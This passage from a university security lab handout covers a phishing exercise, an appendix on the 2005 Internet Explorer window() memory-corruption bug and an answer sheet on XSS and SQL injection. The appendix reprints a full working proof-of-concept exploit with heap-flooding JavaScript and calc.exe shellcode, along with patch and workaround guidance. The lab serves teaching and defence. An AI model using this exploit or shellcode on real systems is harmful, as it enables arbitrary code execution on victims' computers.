Go ahead and click “Close”. Click “Ok” to accept the certificate for this session only.
Now you should see something similar to the “oh-so-familiar” LAWN login page.
Notice the security padlock icons in the URL address bar and the lower right-hand
corner.
Screenshot #1: Take a screenshot of the LAWN login page over an https connection
Hover for a second over either of the padlock icons.
Q1.4 What does it say?
Type in anything you want for the username and password and submit it.
Screenshot #2: Take a screenshot of the LAWN login page results
This type of attack could be implemented today. Here we’ve simply echoed the user
input back to the browser. In a real world attack, the user input is captured (for later use)
53
and then forwarded to the authentic web along with the user input. The user will never
see it coming.
References
[1] http://en.wikipedia.org/wiki/Phishing
[2] http://www.schneier.com/blog/archives/2005/12/new_phishing_tr.html
54
Appendix F
Internet Explorer JavaScript Window() Remote Code Execution
aka "Mismatched Document Object Model Objects Memory Corruption Vulnerability”
Microsoft Internet Explorer 6 SP2 6.0.2900.2180 and 6.0.2800.1106, and earlier versions,
allows remote attackers to cause a denial of service (crash) and execute arbitrary code via
a Javascript BODY onload event that calls the window() function. Attacker may run
anything he wishes to run with the privileges of the underlying user.
The vulnerability is instigated by IE's failure to correctly initialise the JavaScript
"Window()" function, when used in conjunction with a <BODY onload> event. As a
result, Internet Explorer encounters an exception when trying to call a dereferenced 32bit
address located in ECX, as highlighted by the following line of code:
CALL DWORD [ECX+8]
Due to the bug, ECX is inadvertently populated by the Unicode representation of a text
string named "OBJECT", or more specifically 0x006F005B. As offset 0x006F005B
points to an invalid (or non-existent) memory location, Internet Explorer fails to progress,
and in turn the end user experiences an application crash (Denial of Service).
Therefore, as the bug does not yield control of any internal register and/or points to an
offset of which we have no control, the seemingly "low" risk bug clearly reflects the
improbable scenario for remote code execution.
A closer look at the vulnerability reveals that the instruction is trying to dereference an
offset in the range of 0x00600000, which, coincidently, is reserved for the facilitation of
all opened Window characteristics on the desktop.
These structures vary in both length and content, but in the main, take the form of
window titles, buttons, and any File/edit/View menus bars attributable to a particular
Window session.
Consequently, it is feasible to assume that offset 0x006F005B could be arrived at through
the invocation of several large Windows structures, for example circa 12 new web
browsing sessions, which would increment 0x00600000 into 0x006F005B.
If this were possible, it would just leave the problem of trying to identify a means by
which custom shellcode could be inserted via one of Window Elements, and correctly
aligned against the called [0x006F005B].
55
By using a combination of multiple open windows (expanding the memory section), and
legal techniques that allow the modification of Window elements (examples below), 3rd
party code execution was eventually realised!
Examples:
1. Long HTML <TITLE>
2. Long Document file names
3. Large Alert Boxes
Unfortunately, all methods tested suffered from one major flaw - inconsistency.
The assumption that a potential victim has a clean desktop (no open apps) compounded
by the fact that most window elements encompasses some form of content length
restriction, result in very small opportunity for any realistic exploitation.
Except, for one particular approach......a JavaScript prompt box.
By employing a simple technique to invoke multiple occurrences of large JavaScript
prompt boxes, it is possible to flood/saturate the remoteness between 0x00600000 0x006F005B ++ with data of our choice, yielding very reliable execution of arbitrary
code.
Proof of concept code:
A proof of concept execution can be found at
http://www.computerterrorism.com/research/ie/poc.htm
Upon clicking the link on the proof of concept page, a series of event occurs with
little disturbance to the user. The link will open a new page, where there exists
Javascript prompt box that floods the memory with desired code to execute. At
the same time a blank window is opened, probably to block off the javascript
prompt. Finally, another page which contain the exploit <body onload=window();>
line of code initialize the desired code execution. The Internet Explorer will
unexpectedly close. In this proof of concept code, a harmless calculator program
is executed.
The source code of the page that contain the link that initialize attack:
Microsoft Internet Explorer JavaScript Window() - Proof Of Concept
============================================
56
Author:
-------Stuart Pearson
Computer Terrorism (UK)
www.computerterrorism.com
21st November, 2005
THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL
PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED
WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM
MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS
OF THIS CODE FOR ANY PARTICULAR PURPOSE.
PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL
PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS
INTACT
AND UNMODIFIED.
-->
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title>
<script type="text/javascript">
function runpoc(iframecount)
{
document.getElementById('table1').rows[2].cells[0].innerHTML="<p align=center><B>
<font color=#339966 size=1 face=Arial>    loading, please wait....
</font></p>"
document.getElementById('table1').rows[4].cells[0].innerHTML=""
document.getElementById('table1').rows[6].cells[0].innerHTML=""
document.getElementById('table1').rows[7].cells[0].innerHTML=""
document.getElementById('table1').rows[9].cells[0].innerHTML=""
top.consoleRef = open('blankWindow.htm','BlankWindow',
'width=1,height=1'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=0')
top.consoleRef.blur();
top.consoleRef.document.writeln(
'<html>'
57
+'<head>'
+'<title>CT</title>'
+'</head>'
+'<body onBlur=self.blur()>'
+'</body></html>'
)
self.focus() // Ensure the javascript prompt boxes are hidden in the background
for (i=1 ; i <=iframecount ; i++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=fillmem.htm></iframe>')
}
if( iframecount == 8 ){
//alert('8');
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=bug2k.htm></iframe>')
}
if( iframecount == 4 ){
//alert('4');
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=bug.htm></iframe>')
}
//+'<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>'
//)
}
</script>
</head>
<body onLoad="self.moveTo(0,0);self.resizeTo(screen.width,screen.height);">
<p> </p>
<p> </p>
<table border="0" width="100%" id="table1">
<tr>
<td>
<p align="center"><font color="#333333"><b><font size="1" face="Arial">
Microsoft Internet Explorer JavaScript Window() Proof of Concept</font></b>
</font></td>
</tr>
<tr>
<td width="98%" height="15">
<p align="center"><b><font face="Arial" size="1" color="#333333">Select
your operating system:-</font></b></td>
</tr>
<tr>
58
<td width="98%" height="10"></td>
</tr>
<tr>
<td width="98%" height="27" align="center">
<p><b><font color="#339966" size="1" face="Arial">
-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font>
<font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(4)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows XP (All Service Packs)</font></span></a><font color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial"> -</font></b></td>
</tr>
<tr>
<td width="98%" height="22" align="center">
<p><b><font color="#339966" size="1" face="Arial">
-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font>
<font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(8)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows 2000/Universal (Slower)</font></span></a><font color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial"> -</font></b></td>
</tr>
<tr>
<td width="98%" height="15" align="center">
</td>
</tr>
<tr>
<td width="98%" height="15" align="center">
<b><font color="#339966" face="Arial" size="1">invokes calc.exe if
successful</font></b></td>
</tr>
</table>
</body>
</html>
----------------------------------------------------------------------------------------------------------------
The source code of the page that contain the Javascript Promt boxes:
<--
fillmem.htm -->
<HTML>
<HEAD>
<Script Language="JavaScript">
function load() {
var spearson=0
var eip = ""
var prep_shellcode = ""
var shellcode = ""
var fillmem = ""
//
// Address called by the bug (also serves as slide code)
59
//
for (spearson=1 ; spearson <=500 ; spearson++)
{
eip = eip + unescape("%u7030%u4300")
//eip = eip + unescape("%u4300")
}
//
// Create a large chunk for memory saturation
//
for (spearson=1 ; spearson <=200; spearson++)
{
fillmem = fillmem + eip
}
//
// Search for our shellcode (tagged with my initials) and copy to a more stable area
//
prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190" +
"%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +
"%u002d%ua5F3%u9090%u905f%ue7ff")
//
// Harmless Calc.exe
//
shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF")
fillmem = fillmem + prep_shellcode + shellcode
prompt(fillmem,"Computer Terrorism (UK) Ltd - Internet Explorer Vulnerability")
}
// -->
</Script>
</head>
<TITLE>Windows Explorer Exploit</TITLE>
<body onload="setTimeout('load()',2000)">
test test test
</body>
</html>
60
-----------------------------------------------------------------------------------------------------------The page containing the actual exploit:
<html>
<TITLE>Crash2</title>
<body onload="setTimeout('main()',6000)">
<SCRIPT>
function main()
{
document.write("<TITLE>hello2</TITLE>")
document.write("<body onload=window();>")
window.location.reload()
}
</SCRIPT>
<br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait !
</FONT></center>
61
Code Execution
Following are the screenshot of the calculator running on proof of concept code.
The attack can be duplicated on computer in the lab without actual internet
access by creating and opening the same malicious pages with source code
aforementioned .
62
63
Defending against this exploit
Microsoft released patch for IE Dec 2005 to fix this program.
http://www.microsoft.com/technet/security/bulletin/MS05-054.mspx
Several workaround is also available from Microsoft involving configuring
Javascript:
Configure Internet Explorer to prompt before running Active Scripting or disable Active
Scripting in the Internet and Local intranet security zone
You can help protect against this vulnerability by changing your settings to prompt before running
Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do
this, follow these steps:
1.
In Internet Explorer, click Internet Options on the Tools menu.
2.
Click the Security tab.
3.
Click Internet, and then click Custom Level.
4.
Under Settings, in the Scripting section, under Active Scripting, click Prompt or Disable,
and then click OK.
5.
Click Local intranet, and then click Custom Level.
6.
Under Settings, in the Scripting section, under Active Scripting, click Prompt or Disable,
and then click OK.
7.
If you are prompted to confirm that you want to change these settings, click Yes.
8.
Click OK to return to Internet Explorer.
Note Disabling Active Scripting in the Internet and Local intranet security zones may cause some
Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting,
and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will
allow the site to work correctly.
Impact of Workaround: There are side effects to prompting before running Active Scripting. Many
Web sites that are on the Internet or on an intranet use Active Scripting to provide additional
functionality. For example, an online e-commerce site or banking site may use Active Scripting to
provide menus, ordering forms, or even account statements. Prompting before running Active
Scripting is a global setting that affects all Internet and intranet sites. You will be prompted
frequently when you enable this workaround. For each prompt, if you feel you trust the site that you
are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites,
use the "Restrict Web sites to only your trusted Web sites" workaround.
•
Set Internet and Local intranet security zone settings to “High” to prompt before
running ActiveX Controls and Active Scripting in these zones
You can help protect against this vulnerability by changing your settings for the Internet security
zone to prompt before running ActiveX Controls and Active Scripting. You can do this by setting
your browser security to High.
To raise the browsing security level in Microsoft Internet Explorer, follow these steps:
1.
On the Internet Explorer Tools menu, click Internet Options.
2.
In the Internet Options dialog box, click the Security tab, and then click the Internet icon.
3.
Under Security level for this zone, move the slider to High. This sets the security level for all
Web sites you visit to High.
Note If no slider is visible, click Default Level, and then move the slider to High.
64
Note Setting the level to High may cause some Web sites to work incorrectly. If you have
difficulty using a Web site after you change this setting, and you are sure the site is safe to use,
you can add that site to your list of trusted sites. This will allow the site to work correctly even
with the security setting set to High.
4.
Click Custom Level.
5.
Under Settings, in the Scripting section, under Active Scripting, click Prompt and then click
OK.
6.
If you are prompted to confirm that you want to change these settings, click Yes.
7.
Click OK to return to Internet Explorer.
Impact of Workaround: There are side effects to prompting before running ActiveX Controls and
Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active
Scripting to provide additional functionality. For example, an online e-commerce site or banking site
may use ActiveX Controls to provide menus, ordering forms, or even account statements. Prompting
before running ActiveX Controls or Active Scripting is a global setting that affects all Internet and
intranet sites. You will be prompted frequently when you enable this workaround. For each prompt,
if you feel you trust the site that you are visiting, click Yes to run ActiveX Controls or Active
Scripting. If you do not want to be prompted for all these sites, use the "Restrict Web sites to only
your trusted Web sites" workaround.
•
Restrict Web sites to only your trusted Web sites
After you set Internet Explorer to require a prompt before it runs ActiveX Controls and Active
Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to
Internet Explorer's Trusted sites zone. This will allow you to continue to use trusted Web sites
exactly as you do today, while helping to protect you from this attack on untrusted sites. We
recommend that you add only sites that you trust to the Trusted sites zone.
To do this, follow these steps:
1.
In Internet Explorer, click Tools, click Internet Options, and then click the Security tab.
2.
In the Select a Web content zone to specify its current security settings box, click
Trusted Sites, click Default Level, move the slider to Medium, and then click Sites.
Note Setting the level to Medium is a suggested added precaution. It may cause some Web
sites to work incorrectly if you have placed sites in the Trusted sites zone that require the
default setting of Low.
3.
If you want to add sites that do not require an encrypted channel, click to clear the Require
server verification (https:) for all sites in this zone check box.
4.
In the Add this Web site to the zone box, type the URL of a site that you trust, and then click
Add.
5.
Repeat these steps for each site that you want to add to the zone.
6.
Click OK two times to accept the changes and return to Internet Explorer.
Add any sites that you trust not to take malicious action on your computer. One in particular that
you may want to add is "*.windowsupdate.microsoft.com" (without the quotation marks). This is
the site that will host the update, and it requires an ActiveX Control to install the update.
Various antivirus also dealt with the problem by deleting the malicious page before the
exploit is actually executed.
65
Answer Sheet Lab 9
Group Number:_____________
Member Names: ______________________ _______________________
Section 1.1 – Type 1: Reflected XSS Attacks
Q1.1.1 What happened when you are taken to the search results page?
Q1.1.2 Looking at the URL line at the top of the browser, what is value of the URL
variable “searchQuery”?
Q1.1.3 What are these two lines of code doing in the context of the application?
Q1.1.4 Take a look at Appendix X (PHP REFERENCE). Which PHP function may
be useful for properly handling user input?
Q1.1.5 Rewrite line 10 of the code above to reflect this change.
66
Section 1.2 – Cookie Stealing and XSS
Q1.2.1 Why are the DOMAIN and PATH attributes important in term of security?
(Hint: What kind of data may the cookie potentially contain?)
Q1.2.2 What happens when you try to go directly to the welcome page?
Q1.2.3 What are the two lines that start with “document.cookie = “ doing? List the
following attributes of the two cookies, NAME, MAX-AGE, PATH. Refer to the
Javascript reference located in Appendix A.
Q1.2.4 Look at the source of this page (/ece4112/cookie/welcome.php) in Appendix D
and describe a potential XSS vulnerability that exists on this page. (Hint: It’s near
the welcome message)
Q1.2.5 What happens this time when you go directly to the page?
Q1.2.6 What do you see when you navigate to this page?
67
Q1.2.7 What is different when you navigate to this page? Why is this so?
Q1.2.8 What happens when you click the link? Does it seem as though anything
malicious has occurred?
Q1.2.9 What do you think the <a> tag in the malicious tag is doing.
Q1.2.10 Do you see your group name and super secret password?
Q1.2.11 Review the source code for harvestcookies.php in Appendix D. What is this
program doing?
Q1.2.12 When the link in the email was clicked, why did it seem as though no
malicious activity took place?
Section 1.3 – Type 2 – Persistent XSS attacks
Q1.3.1 Look at the source code for messages.php and view_message.php, which can
be found in APPENDIX D. Point out the parts of the code where an XSS
vulnerability exists.
68
Q1.3.2What does the above code do?
Q1.3.3 What happens when you click the message title? Does it look like anything
malicious has occurred? Explain what has just happened.
Q1.3.4 Post a message that, when clicked, will pop up an alert window with a
message. What is the text you entered in the message body field to achieve this?
Screenshot 2: Click on the message that you have just created and take a screenshot
of the exploit in action (the browser window with the alert window).
Section 2.1 – Introductory Exercises
Q2.1.1 What message do you get back when you set the msg_id value to 1ee7?
Q2.1.2 Which message do you get back when running
http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT
COUNT(*) FROM users)?
Section 2.2 – Blind SQL Injection
Q2.2.1 What happens?
Q2.2.2 What happens?
Q2.2.3 How long is the password we are going to steal?
69
Q2.2.4 What is the $SQL variable going to be when it is submitted to the database?
Q2.2.5 What is the user_id/password combination you stole?
Q2.2.6 How might a web developer prevent this type of data theft?
Section 2.3 – Faulty Login Page
Q2.3.1 What happened? Explain why this sql injection worked. (Hint: what is -- in a
sql statement?)
Q2.3.2 List at least three other similar sql injection code snippets that could be used
to exploit this login?
Screenshot 3: Take a screen shot of a successful login.
Section 2.4 – Securing the Login Page
Q2.4.1 How are the passwords stored in the database? For verification, go to the
database in mysql and view the contents of table users by typing select * from users.
70
Q2.4.2 How is the username and password verification different in login.php versus
login_corrupt.php?
Q2.4.3 What does the get_magic_quotes_gpc() function do?
Q2.4.4 Explain the general strategy in preventing sql injection statements.
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and/or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you would
give to future students in the new lab handout. You may cross out and edit the text of the
lab on previous pages to make minor corrections/suggestions. General suggestions like
add tool xyz to do more capable scanning will not be awarded extras points even if the
statement is totally true. Specific text that could be cut and pasted into this lab, completed
exercises, and completed solutions may be awarded additional credit. Thus if tool xyz
adds a capability or additional or better learning experience for future students here is
what you need to do. You should add that tool to the lab by writing new detailed lab
instructions on where to get the tool, how to install it, how to run it, what exactly to do
71
with it in our lab, example outputs, etc. You must prove with what you turn in that you
actually did the lab improvement yourself. Screen shots and output hardcopy are a good
way to demonstrate that you actually completed your suggested enhancements. The lab
addition section must start with the form “laboratory Additions Cover Sheet” which may
be found on the class web site.
Turn In Checklist
1) Completed Answer Key
2) 3 Screenshots
72
Download